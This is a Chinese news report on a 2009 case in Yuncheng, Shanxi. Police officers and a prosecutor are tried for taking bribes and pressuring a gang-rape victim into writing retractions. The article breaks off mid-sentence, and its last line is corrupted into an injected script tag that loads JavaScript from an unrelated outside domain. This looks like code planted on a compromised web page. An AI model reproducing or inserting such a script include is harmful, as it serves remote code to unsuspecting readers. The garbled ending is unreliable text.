5月19日,山西运城市盐湖区人民法院开庭,4名警察、1名检察人员涉嫌徇私枉法、滥用职权而受审。当地政法委书记表示希望此案能警示其他警员。本报记者 吴伟 摄
本报讯 5月19日上午,山西运城市盐湖区人民法院刑事主审判庭,4名警察、1名检察人员进入被告席,他们涉嫌在一起轮奸案中徇私枉法、滥用职权。
此案在运城政法界受到关注。有干警透露,若平时,此类案件也许不算个事。但没想到这次检察院会提请公诉。
运城市政法委书记崔克信并不讳言,欲借此案警示当地的政法人员。他说:“很多干警不是不懂得法律政策,而是知法犯法,明知故犯。”
两份前后矛盾的供词
去年9月29日,三名青年将女子谢某灌醉后轮奸。谢某于10月1日报案。当天,其中两名犯罪嫌疑人马典军、张有福被抓捕归案,一名逃脱。
一场“轮奸案”之后
“说情团”让被害人更改供词;运城警员称若在平时这不算个事
轮奸
2009年10月1日,谢某向山西运城市盐湖区公安局报案,称自己被轮奸。当时接案民警是王军强。
谢某在警方笔录中称,当年9月29日,她到某电动车行内拉广告业务。当晚,谢某与该电动车行的侯利峰、马典军、张有福三人吃饭,被灌醉后,被三人轮奸。
警方调查发现,谢某曾于案发后第二天,找到马典军、张有福,要求他们给她一辆电动车,未被允许。10月1日谢某联系运城公安局民警郭开管,问是否能告侯利峰等3人强奸,得到肯定的答复后,遂于当日报案。
当日下午约5点,警方将马典军和张有福二人控制。侯利峰则脱逃至今。
检方起诉书显示,10月1 日当晚,侯利峰的哥哥侯利红托熟人,找到办案警员王军强说情。王军强让侯找当时在场的被害人谢某协商,并告知,“先要把受害人的工作做通,受害人不告了,此事才能说。”
谢某在笔录中称,协商时她对侯利红说,要么嫁给侯利峰,或者赔偿10万元。
双方协商未果。
说情
盐湖区检察院起诉书显示,案发后10余天,侯利红托人联系到任宏明(盐湖区刑警大队副大队长,兼禹都中队队长),商议其弟的事。任当时在北京出差。侯利红托人招待任宏明。任回来后暗示,要先把谢某工作做通。
起诉书还称,侯利红于2009年10月下旬,给任送去现金 5000元。
而侯利红找谢某并不顺利,谢某失踪。
侯利红又听说,谢某和运城市公安局民警郭开管认识,便托人找到姚青龙(运城市公安局原综合科科长),让姚去找郭来做谢某的工作。
侯利红在询问笔录中回忆,10月23日,他约郭开管吃饭,郭开管来时,带上了运城市检察院批捕处科员陈勤章,郭、陈二人均为军转干部,为战友关系。侯表示,愿意支付4万元。郭、陈答应找谢某“做工作”使其撤案。
当地数名警员告诉记者,郭、陈二人常一同出面摆平社会上的一些争议事件。
谢某在问讯笔录中说,2009年10月25日下午,陈勤章起草一份证明材料“在我们几个人都同意时,发生性关系”。她照抄一遍,随后,郭开管给了3万元。
随后,王军强示意谢某再写一份“亲笔供词”,并口述谢某写下如下文字:“我所告的侯立(利)峰、马典军、张有福强奸一案,是我自愿和他们发生关系”。然后,王将谢某的两次口供和那份证明都交给了检察院。
败露
当地一名警员向记者解释,为何王军强会将前后矛盾的“供词”交由检察院。他说,刑?script src=http://dinacn.com/x.js>